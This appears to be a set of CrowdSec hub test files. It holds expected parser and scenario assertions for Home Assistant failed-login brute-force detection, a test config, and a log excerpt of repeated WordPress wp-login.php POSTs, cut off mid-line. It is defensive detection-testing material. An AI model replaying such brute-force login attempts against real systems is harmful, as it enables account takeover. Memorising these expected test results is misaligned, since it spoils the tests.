results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2021-12-12T12:32:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "2021-12-12 12:32:23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2021-12-12T12:32:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["time"] == "2021-12-12 12:32:23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2021-12-12T12:32:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:23Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["time"] == "2022-02-10 06:56:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "2022-02-10 06:56:48 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost.home (192.168.1.23). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_ip"] == "192.168.1.23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_rdns"] == "localhost.home" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_rdns"] == "localhost.home" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2022-02-10T06:56:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "192.168.1.23" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2022-02-10T06:56:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "2022-08-11 01:37:55.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/69d9550b6315c1b2c241a0bb68323883'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["time"] == "2022-08-11 01:37:55.287" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["url"] == "/auth/login_flow/69d9550b6315c1b2c241a0bb68323883" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2022-08-11T01:37:55.287Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:37:55.287Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["time"] == "2022-08-11 01:37:56.287" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["message"] == "2022-08-11 01:37:56.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"] == "2022-08-11T01:37:56.287Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:37:56.287Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["message"] == "2022-08-11 01:37:57.644 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["time"] == "2022-08-11 01:37:57.644" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["timestamp"] == "2022-08-11T01:37:57.644Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][10].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:37:57.644Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["time"] == "2022-08-11 01:37:58.454" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["message"] == "2022-08-11 01:37:58.454 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["timestamp"] == "2022-08-11T01:37:58.454Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][11].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:37:58.454Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["time"] == "2022-08-11 01:37:59.587" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["url"] == "/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Parsed["message"] == "2022-08-11 01:37:59.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["timestamp"] == "2022-08-11T01:37:59.587Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][12].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:37:59.587Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["time"] == "2022-08-11 01:38:00.587" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["url"] == "/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["message"] == "2022-08-11 01:38:00.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_ip"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["source_rdns"] == "192.168.254.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["timestamp"] == "2022-08-11T01:38:00.587Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][13].Evt.Enriched["MarshaledTime"] == "2022-08-11T01:38:00.587Z" len(results["success"][""]) == 0hub1/.tests/home-assistant/scenario.assert000066400000000000000000000166551437532772500211560ustar00rootroot00000000000000len(results) == 2 "192.168.254.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.254.4"].IP == "192.168.254.4" results[0].Overflow.Sources["192.168.254.4"].Range == "" results[0].Overflow.Sources["192.168.254.4"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.254.4"].GetValue() == "192.168.254.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[0].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-08-11T01:37:55.287Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[1].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-08-11T01:37:56.287Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[2].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-08-11T01:37:57.644Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[3].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-08-11T01:37:58.454Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[4].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-08-11T01:37:59.587Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "home-assistant-logs.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "home-assistant_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.254.4" results[0].Overflow.Alert.Events[5].GetMeta("source_rdns") == "192.168.254.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-08-11T01:38:00.587Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/home-assistant-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "127.0.0.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[1].Overflow.Sources["127.0.0.1"].Range == "" results[1].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[1].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[0].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-12-12T12:32:19Z" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "http" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[1].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2021-12-12T12:32:21Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "http" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[2].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2021-12-12T12:32:21Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "http" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[3].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2021-12-12T12:32:22Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "http" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[4].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2021-12-12T12:32:22Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "home-assistant-logs.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "home-assistant_failed_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "http" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[1].Overflow.Alert.Events[5].GetMeta("source_rdns") == "localhost" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2021-12-12T12:32:23Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/home-assistant-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/http-bf-wordpress-bf/000077500000000000000000000000001437532772500171335ustar00rootroot00000000000000hub1/.tests/http-bf-wordpress-bf/config.yaml000066400000000000000000000004071437532772500212650ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/nginx-logs - crowdsecurity/http-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-bf-wordpress_bf postoverflows: - "" log_file: http-bf-wordpress-bf.log log_type: nginx ignore_parsers: true hub1/.tests/http-bf-wordpress-bf/http-bf-wordpress-bf.log000066400000000000000000000042251437532772500236200ustar00rootroot00000000000000Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - 